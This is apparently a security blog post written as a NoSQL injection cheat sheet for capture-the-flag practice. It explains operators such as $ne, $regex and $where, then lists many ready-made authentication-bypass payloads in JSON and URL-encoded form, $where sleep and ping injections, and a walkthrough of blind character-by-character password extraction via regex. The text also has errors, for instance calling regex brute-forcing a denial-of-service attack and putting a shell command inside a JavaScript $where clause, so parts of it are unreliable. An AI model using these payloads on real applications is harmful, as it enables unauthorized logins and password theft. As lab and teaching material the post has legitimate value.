Post

NoSQL Injection

NoSQL Injection

NoSQL Injection

Think of it like this: Traditional SQL databases use structured query language (SQL), but NoSQL databases use different query methods - often JSON,BSON, JavaScript, or specialized query languages.

NoSQL injection happens when an attacker manipulates these queries by inserting malicious input, just like SQL injection but adapted for NoSQL systems.

Simple Example: Imagine a login form that checks credentials. Instead of sending:

1
2
username: "admin"
password: "mypassword"

An attacker might send:

1
2
username: {"$ne": null}
password: {"$ne": null}

This could bypass authentication because $ne (not equal) means “username is not equal to null” - which is true for all usernames!

Practise Labs Names: If you’re new to this attack flow, spin up a practice machine (for example, Stocker, NodeBlog ON HTB , NosqlInjection on Tryhackme and used the other platform like CTFtime, ROOTme or PicoCTF).

Types of NoSQL Databases NoSQL databases fall into 4 main categories:

  1. Document Stores:- (Store data as documents (usually JSON-like format))
    1
    2
    3
    4
    5
    6
    
    {"_id" : ObjectId("xyz"),
    "username" : "0xmr", 
    "first_name" : "0xmr",
    "last_name" : "security",
    "age" : "10",
    "email" : "0xmr@claudai.com" }
    

    ->MongoDB, CouchDB, Amazon DocumentDB, Firebase Firestore

  2. Key-Value Stores Simple storage: one key maps to one value (like a giant dictionary).

-> Redis, Amazon DynamoDB

  1. Column-Family Stores Store data in columns rather than rows (great for analytics).

-> Apache Cassandra, Google Bigtable

  1. Graph Databases Store relationships between data as nodes and edges.

-> Neo4j, Amazon Neptune, ArangoDB, OrientDB

Attacks Using NoSQL Injection

  • Authentication Bypass :- Login without credentials.
    1
    
    {username: {"$ne": null}, password: {"$ne": null}}
    
  • Privilege Escalation :- From Normal user to admin Rights.

  • Denial of Service (DoS):- Blind NoSQL attack fall in this, because we are completely brute the every letter of the password is exsist –> We will be explain this attack in detail below with the write a python script to brute all possible letters in passwords.
    1
    
    {"$regex": "^.*.*.*.*.*.*.*$"}
    
  • Remote Code Execution (RCE :- Execute arbitrary code on the server. –> Common in: MongoDB with $where operator or mapReduce functions that allow JavaScript execution.
1
{"$where": "sleep(50)"}
1
{"$where": "ping -c 1 10.10.11.15"}
  • Information Disclosure :- Leak database structure, field names, or error messages.

  • Business Logic Bypass :- Attacker can Manupulate the Request to does not enforce the correct sequence of actions, such as skipping steps in a payment process.

Operator’s Used

1
2
3
4
5
6
$ne	not equal
$eq     equal to
$regex	regular expression
$gt	greater than
$lt	lower than
$nin	not in

Detecting Injection

Using this payload if you see the internal server error in the page. It is not confirmed that it’s SQL or NoSQL.

1
'"\/$[].>

Terminate Query

%0a for Next line.

1
2
3
4
5
//
%00  <-- null character
'
"
() {} [] some number of closing brackets or braces, in some combination

Login Bypass

When you inject the nosql injection payload, the content type is always JSON Like this :- content: application/json

1
{"email or username":"{\"$ne\":null}","password":"{\"$ne\":null}"}
1
{"email or username":"{"$ne":0xmr}","password":"{"$ne":0xmr}"}

if the application, will not filter the content. So we can inject directly.

1
{"$ne":0xmr}

or

1
{"$ne":nullsweep}

login as normal user

change the parameter according to the website.

1
user[$ne]=admin&pass[$ne]=admin&remember=on 
1
username[$ne]=admin&password[$ne]=admin

login as admin user

1
user[$ne]=0xmr&pass[$ne]=0xmr&remember=on 
1
username[$ne]=0xmr&password[$ne]=0xmr

Bypass login pages

1
2
3
4
user[$gt]=&pass[$gt]=&remember=on
user[$regex]=.*&pass[$regex]=.*&remember=on
user[$ne]=admin&pass[$ne]=admin&remember=on
user[$nin][]=admin&pass[$ne]=admin&remember=on

HTTP Data

1
2
3
4
username[$ne]=ipp&password[$ne]=ipp
login[$regex]=a.*&pass[$ne]=wow
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=wow

Json Data

1
2
3
4
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "wow"}, "password": {"$ne": "wow"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
1
2
3
4
{
    "username":{ "$in": ["admin", "ADMIN", "administrator", "ADMINISTRATOR", "admin123"] },
    "password":{ "$ne":"" }
}
1
user[$nin][]=admin&user[$nin][]=pedro&user[$nin][]=john&user[$nin][]=secret&pass[$ne]=admin&remember=on
1
2
3
4
{
    "username":"administrator",
    "password":{ "$ne":"" }
}
1
2
3
4
5
6
7
8
{
    "username":"0xmr",
    "password":{ "$eq":"0xmr" }
}
{
    "username":"0xmr",
    "password":{ "$ne":"0xmr" }
}

Supply multiple users

1
user[$nin][]=admin&user[$nin][]=pedro&user[$nin][]=john&user[$nin][]=secret&pass[$ne]=admin&remember=on
1
{"user":{"$nin":["admin","pedro","john","secret"]},"pass":{"$ne":"admin"},"remember":"on"}
1
2
3
4
5
6
7
8
9
10
11
12
13
{"username": "admin", "password": {"$or": [{"a": "a"}, {"b": "b"}]}}

// In URL format
username=admin&password[$or][0][a]=a&password[$or][1][b]=b
// Using $ne (not equal)
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": ""}, "password": {"$ne": ""}}

// Using $gt (greater than)
{"username": {"$gt": ""}, "password": {"$gt": ""}}

// Using $regex (regular expression)
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}

URL-Encoded Format (for POST requests):

1
2
3
username[$ne]=null&password[$ne]=null
username[$gt]=&password[$gt]=
username[$regex]=.*&password[$regex]=.*

Extract the password length

here n is the length of the password.use the caido or Burpsuit get the lenght of password.

1
user=pedro&pass[$regex]=^.{n}$&remember=on  

for example

1
user=pedro&pass[$regex]=^.{5}$&remember=on  

Put the dots as a lenght of password, here n=5=5 dots. we have to brute the every possible letter of the password.

1
2
3
4
5
6
user=pedro&pass[$regex]=^.....$&remember=on
user=pedro&pass[$regex]=^c....$&remember=on
user=pedro&pass[$regex]=^co...$&remember=on
user=pedro&pass[$regex]=^coo..$&remember=on
user=pedro&pass[$regex]=^cool.$&remember=on
user=pedro&pass[$regex]=^cool1$&remember=on

Automate the process by Python script here.

More thinks Coming soon…

This post is licensed under CC BY 4.0 by the author.